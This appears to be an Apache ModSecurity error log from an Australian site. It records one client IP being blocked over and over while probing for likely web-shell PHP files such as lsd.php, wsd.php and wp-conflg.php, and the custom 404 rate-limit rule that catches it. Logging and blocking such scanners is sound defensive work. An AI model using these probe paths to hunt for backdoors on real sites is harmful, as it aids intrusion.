[Fri Feb 27 21:39:19.872373 2026] [:error] [pid 56075:tid 56082] [client 20.104.124.39:32451] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lsd.php"] [unique_id "aaGeh8KBhrfI6KNv9Rj3DAAAAAU"]
[Fri Feb 27 21:39:20.551832 2026] [:error] [pid 62998:tid 63011] [client 20.104.124.39:32423] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aaGeiFQeueXZDUmoLoli9QAAAQk"]
[Fri Feb 27 21:39:21.494283 2026] [:error] [pid 56075:tid 56092] [client 20.104.124.39:32478] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aaGeicKBhrfI6KNv9Rj3GwAAAA4"]
[Fri Feb 27 21:39:22.439951 2026] [:error] [pid 56075:tid 56095] [client 20.104.124.39:32395] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aaGeisKBhrfI6KNv9Rj3MQAAABE"]
[Fri Feb 27 21:39:23.269822 2026] [:error] [pid 54103:tid 54192] [client 20.104.124.39:32511] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aaGei-vG4MPCmE0B2sC2ugAAANU"]
[Fri Feb 27 21:39:23.947059 2026] [:error] [pid 56075:tid 56101] [client 20.104.124.39:32505] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aaGei8KBhrfI6KNv9Rj3SQAAABc"]
[Fri Feb 27 21:39:24.464848 2026] [:error] [pid 56075:tid 56091] [client 20.104.124.39:32321] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aaGejMKBhrfI6KNv9Rj3VAAAAA0"]
[Fri Feb 27 21:39:25.307796 2026] [:error] [pid 49306:tid 49325] [client 20.104.124.39:32434] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aaGejfnSUDZue59Px9s4cAAAAVE"]
[Fri Feb 27 21:39:26.469436 2026] [:error] [pid 56075:tid 56080] [client 20.104.124.39:32418] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aaGejsKBhrfI6KNv9Rj3dwAAAAM"]
[Fri Feb 27 21:39:27.185540 2026] [:error] [pid 56075:tid 56078] [client 20.104.124.39:32494] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gtc.php"] [unique_id "aaGej8KBhrfI6KNv9Rj3hQAAAAE"]
[Fri Feb 27 21:39:28.047200 2026] [:error] [pid 56075:tid 56092] [client 20.104.124.39:32389] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gtc.php"] [unique_id "aaGekMKBhrfI6KNv9Rj3ngAAAA4"]
[Fri Feb 27 21:39:28.504793 2026] [:error] [pid 56075:tid 56092] [client 20.104.124.39:32433] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gtc.php"] [unique_id "aaGekMKBhrfI6KNv9Rj3pwAAAA4"]
[Fri Feb 27 21:39:29.148605 2026] [:error] [pid 49306:tid 49308] [client 20.104.124.39:32508] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gtc.php"] [unique_id "aaGekfnSUDZue59Px9s4kgAAAUA"]
[Fri Feb 27 21:39:29.849302 2026] [:error] [pid 49306:tid 49319] [client 20.104.124.39:32442] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atx.php"] [unique_id "aaGekfnSUDZue59Px9s4lgAAAUs"]
[Fri Feb 27 21:39:30.335085 2026] [:error] [pid 52073:tid 52098] [client 20.104.124.39:32331] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atx.php"] [unique_id "aaGekoa650YPyxXVeRaBogAAAZY"]
[Fri Feb 27 21:39:30.894113 2026] [:error] [pid 49306:tid 49331] [client 20.104.124.39:32471] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atx.php"] [unique_id "aaGekvnSUDZue59Px9s4ngAAAVc"]
[Fri Feb 27 21:39:31.776654 2026] [:error] [pid 62998:tid 63016] [client 20.104.124.39:32416] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atx.php"] [unique_id "aaGek1QeueXZDUmoLoljMgAAAQ4"]
[Fri Feb 27 21:39:32.344078 2026] [:error] [pid 52073:tid 52082] [client 20.104.124.39:32477] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aaGelIa650YPyxXVeRaBqwAAAYY"]
[Fri Feb 27 21:39:32.931562 2026] [:error] [pid 54231:tid 54244] [client 20.104.124.39:32324] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aaGelOTvb5AeyJCdY7AnfAAAAEo"]
[Fri Feb 27 21:39:33.719331 2026] [:error] [pid 62998:tid 63007] [client 20.104.124.39:32343] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aaGelVQeueXZDUmoLoljTQAAAQU"]
[Fri Feb 27 21:39:34.334563 2026] [:error] [pid 62998:tid 63006] [client 20.104.124.39:32411] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aaGellQeueXZDUmoLoljVwAAAQQ"]
[Fri Feb 27 21:39:35.177025 2026] [:error] [pid 56075:tid 56083] [client 20.104.124.39:32456] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aaGel8KBhrfI6KNv9Rj4JAAAAAY"]
[Fri Feb 27 21:39:35.963292 2026] [:error] [pid 56075:tid 56099] [client 20.104.124.39:32332] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aaGel8KBhrfI6KNv9Rj4OgAAABU"]
[Fri Feb 27 21:39:36.550254 2026] [:error] [pid 56075:tid 56080] [client 20.104.124.39:32417] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aaGemMKBhrfI6KNv9Rj4RgAAAAM"]
[Fri Feb 27 21:39:37.869927 2026] [:error] [pid 56075:tid 56077] [client 20.104.124.39:32446] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aaGemcKBhrfI6KNv9Rj4XQAAAAA"]
[Fri Feb 27 21:39:38.816598 2026] [:error] [pid 52073:tid 52099] [client 20.104.124.39:32394] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/m.php"] [unique_id "aaGemoa650YPyxXVeRaBzgAAAZc"]
[Fri Feb 27 21:39:39.634576 2026] [:error] [pid 49306:tid 49328] [client 20.104.124.39:32470] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/m.php"] [unique_id "aaGem_nSUDZue59Px9s40gAAAVQ"]
[Fri Feb 27 21:39:40.119137 2026] [:error] [pid 56075:tid 56097] [client 20.104.124.39:32353] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/m.php"] [unique_id "aaGenMKBhrfI6KNv9Rj4kAAAABM"]
[Fri Feb 27 21:39:40.604218 2026] [:error] [pid 56075:tid 56085] [client 20.104.124.39:32432] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/m.php"] [unique_id "aaGenMKBhrfI6KNv9Rj4nQAAAAg"]
[Fri Feb 27 21:39:41.279412 2026] [:error] [pid 56075:tid 56087] [client 20.104.124.39:32422] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aaGencKBhrfI6KNv9Rj4rQAAAAo"]
[Fri Feb 27 21:39:42.205227 2026] [:error] [pid 56075:tid 56086] [client 20.104.124.39:32356] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aaGensKBhrfI6KNv9Rj4xQAAAAk"]
[Fri Feb 27 21:39:43.175639 2026] [:error] [pid 54231:tid 54252] [client 20.104.124.39:32419] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aaGen-Tvb5AeyJCdY7AnoQAAAFI"]
[Fri Feb 27 21:39:43.657791 2026] [:error] [pid 54231:tid 54254] [client 20.104.124.39:32509] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aaGen-Tvb5AeyJCdY7AnpAAAAFQ"]
[Fri Feb 27 21:39:44.387673 2026] [:error] [pid 54231:tid 54252] [client 20.104.124.39:29974] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aaGeoOTvb5AeyJCdY7AnsQAAAFI"]
[Fri Feb 27 21:39:44.940966 2026] [:error] [pid 54231:tid 54254] [client 20.104.124.39:32359] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aaGeoOTvb5AeyJCdY7AntAAAAFQ"]
[Fri Feb 27 21:39:45.519280 2026] [:error] [pid 52073:tid 52086] [client 20.104.124.39:32337] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aaGeoYa650YPyxXVeRaCHAAAAYo"]
[Fri Feb 27 21:39:46.250943 2026] [:error] [pid 54231:tid 54238] [client 20.104.124.39:32481] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aaGeouTvb5AeyJCdY7AnugAAAEQ"]
[Fri Feb 27 21:39:46.817563 2026] [:error] [pid 49306:tid 49328] [client 20.104.124.39:32437] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aaGeovnSUDZue59Px9s49AAAAVQ"]
[Fri Feb 27 21:39:47.876856 2026] [:error] [pid 56075:tid 56095] [client 20.104.124.39:32430] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aaGeo8KBhrfI6KNv9Rj5MwAAABE"]
[Fri Feb 27 21:39:48.699256 2026] [:error] [pid 56075:tid 56099] [client 20.104.124.39:29982] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aaGepMKBhrfI6KNv9Rj5SgAAABU"]
[Fri Feb 27 21:39:49.821840 2026] [:error] [pid 52073:tid 52082] [client 20.104.124.39:32361] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aaGepYa650YPyxXVeRaCMQAAAYY"]
[Fri Feb 27 21:39:51.079462 2026] [:error] [pid 54103:tid 54182] [client 20.104.124.39:32334] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aaGep-vG4MPCmE0B2sC23QAAAMs"]
[Fri Feb 27 21:39:51.924266 2026] [:error] [pid 52073:tid 52094] [client 20.104.124.39:32427] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aaGep4a650YPyxXVeRaCWwAAAZI"]
[Fri Feb 27 21:39:53.109557 2026] [:error] [pid 49306:tid 49310] [client 20.104.124.39:32357] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aaGeqfnSUDZue59Px9s5DAAAAUI"]
[Fri Feb 27 21:39:54.355500 2026] [:error] [pid 62998:tid 63020] [client 20.104.124.39:32414] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aaGeqlQeueXZDUmoLoljsQAAARI"]
[Fri Feb 27 21:39:55.123229 2026] [:error] [pid 49306:tid 49309] [client 20.104.124.39:32463] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "aaGeq_nSUDZue59Px9s5HQAAAUE"]
[Fri Feb 27 21:39:55.631202 2026] [:error] [pid 49306:tid 49322] [client 20.104.124.39:32336] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "aaGeq_nSUDZue59Px9s5IgAAAU4"]
[Fri Feb 27 21:39:56.126823 2026] [:error] [pid 54231:tid 54235] [client 20.104.124.39:32375] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "aaGerOTvb5AeyJCdY7An1QAAAEE"]
[Fri Feb 27 21:39:56.640645 2026] [:error] [pid 56075:tid 56093] [client 20.104.124.39:32402] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "aaGerMKBhrfI6KNv9Rj5swAAAA8"]
[Fri Feb 27 21:39:57.223691 2026] [:error] [pid 49306:tid 49321] [client 20.104.124.39:29981] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aaGerfnSUDZue59Px9s5KQAAAU0"]
[Fri Feb 27 21:39:57.938617 2026] [:error] [pid 49306:tid 49315] [client 20.104.124.39:32330] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aaGerfnSUDZue59Px9s5LAAAAUc"]
[Fri Feb 27 21:39:58.410578 2026] [:error] [pid 56075:tid 56099] [client 20.104.124.39:32480] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aaGersKBhrfI6KNv9Rj5xgAAABU"]
[Fri Feb 27 21:39:59.275016 2026] [:error] [pid 56075:tid 56077] [client 20.104.124.39:32354] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aaGer8KBhrfI6KNv9Rj50wAAAAA"]
[Fri Feb 27 21:39:59.966976 2026] [:error] [pid 56075:tid 56082] [client 20.104.124.39:32360] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aaGer8KBhrfI6KNv9Rj52wAAAAU"]
[Fri Feb 27 21:40:00.535792 2026] [:error] [pid 62998:tid 63016] [client 20.104.124.39:29973] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aaGesFQeueXZDUmoLolj0QAAAQ4"]
[Fri Feb 27 21:40:01.295680 2026] [:error] [pid 49306:tid 49315] [client 20.104.124.39:32454] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aaGesfnSUDZue59Px9s5OQAAAUc"]
